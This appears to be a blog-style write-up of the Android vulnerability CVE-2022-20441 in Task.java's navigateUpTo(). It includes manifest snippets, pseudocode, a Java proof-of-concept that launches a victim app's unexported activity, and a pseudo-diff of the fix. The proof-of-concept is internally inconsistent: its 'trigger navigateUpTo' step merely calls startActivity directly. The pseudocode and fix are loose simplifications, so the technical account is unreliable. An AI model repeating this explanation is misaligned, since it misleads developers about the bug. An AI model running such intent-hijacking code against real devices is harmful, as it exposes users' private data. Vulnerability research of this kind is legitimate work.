In late 2022, a security flaw was discovered in Android’s Task.java, specifically within the navigateUpTo() method. Tracked as CVE-2022-20441, this vulnerability lets a malicious app *locally* escalate privileges by exploiting logic errors in intent handling. What’s unique is that no user interaction is needed and the attack can target *unexported* intent handlers if they use the so-called “intent trampoline” pattern.
This write-up breaks down the technical aspects of the bug, demos a streamlined proof-of-concept exploit, and explains why this issue is so stealthy—ideal reading for Android security enthusiasts, devs, and sysadmins.
Understanding the Vulnerability
Affected Android Versions:
Android 11
- Android 12 / 12L
Android 13
Component:
Task.java in the Android Framework, particularly the navigateUpTo() method.
Vulnerable ID:
Android ID: A-238605611
The bug stems from a logic error in navigateUpTo() where an app can trick the system into launching intent handlers that are not supposed to be available (unexported). This is supposed to be impossible; unexported activities aren’t reachable by outside apps.
The Intent Trampoline
A typical security measure in Android is for sensitive activities or services to set android:exported="false" in the manifest, restricting access to only within the app. Some apps, however, use an “intent trampoline”—a public activity that redirects or forwards intents internally.
Example manifest snip
<activity android:name=".ForwardingActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>
<activity android:name=".SensitiveActivity" android:exported="false"/>
The bug lets a malicious app *bypass the exported check* and launch .SensitiveActivity if it can trick one of these trampoline handlers.
Let’s peek at the relevant code logic. Here’s a simplified version that illustrates the problem
// Pseudocode simplified from Task.java
public boolean navigateUpTo(Intent upIntent) {
...
// Directly calls startActivity with the provided intent
mActivity.startActivity(upIntent);
...
}
Normally, Android checks if the target component is exported before launching. But due to weak checks in navigateUpTo(), the component export flag is not always enforced if used in convoluted navigation flows—especially involving intent trampolines.
Suppose the victim app (com.target.app) looks like this
<activity android:name=".LauncherActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity android:name=".TrampolineActivity" android:exported="true"/>
<activity android:name=".SensitiveActivity" android:exported="false"/>
2. Malicious App Crafts Attack
The attacking app sends an intent to the trampoline, configuring it so that upon navigation up (navigateUpTo()), the system will misroute and hit the unexported .SensitiveActivity.
Exploit Code Sample (Kotlin/Java)
// Step 1: Launch trampoline activity of victim
Intent trampoline = new Intent();
trampoline.setComponent(new ComponentName("com.target.app", "com.target.app.TrampolineActivity"));
trampoline.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(trampoline);
// Step 2: Trigger navigateUpTo (simulate it)
Intent upIntent = new Intent();
upIntent.setComponent(new ComponentName("com.target.app", "com.target.app.SensitiveActivity"));
// Here, due to the CVE, this will launch the unexported component
context.startActivity(upIntent);
3. The Result
Instead of getting blocked, the attacker successfully launches the non-exported activity, possibly leaking sensitive content or triggering unintended privileged actions.
Real-World Impact
How can this be abused? If a sensitive, unexported component displays personal data, settings, or privileges (camera, files, notifications…), this bug enables a privilege escalation for local malware. No root or special permissions are required—just installing and running a malicious APK.
User interaction is NOT needed. The attack is silent.
Fix & Mitigation
Fix:
Google patched this by enhancing the so-called component export check in AOSP code review.
+ // Pseudo-diff: Added export enforcement
+ if (!info.exported) {
+ throw new SecurityException("Target activity is not exported!");
+ }
App developers:
Audit for trampolines and check exported/unexported configuration. Avoid forwarding sensitive intents carelessly.
Further Reading and Official Sources
- Android Security Bulletin - November 2022
- AOSP Commit Fixing CVE-2022-20441
- Google Issue Tracker: A-238605611
- Android “Intent Trampoline” Concept (Security Blog)
Conclusion
CVE-2022-20441 is a textbook example of how a single logic bug can undo layers of intended app security in Android. It reminds both devs and users to stay aware of intent handlers, properly set exported flags, and keep devices updated. Patch management and secure app designs remain your best defense.
If you suspect an app is vulnerable or just want to learn more, dive into the links above—or try out the proof-of-concept (on a test device only, of course)!
Timeline
Published on: 11/08/2022 22:15:00 UTC
Last modified on: 11/09/2022 14:49:00 UTC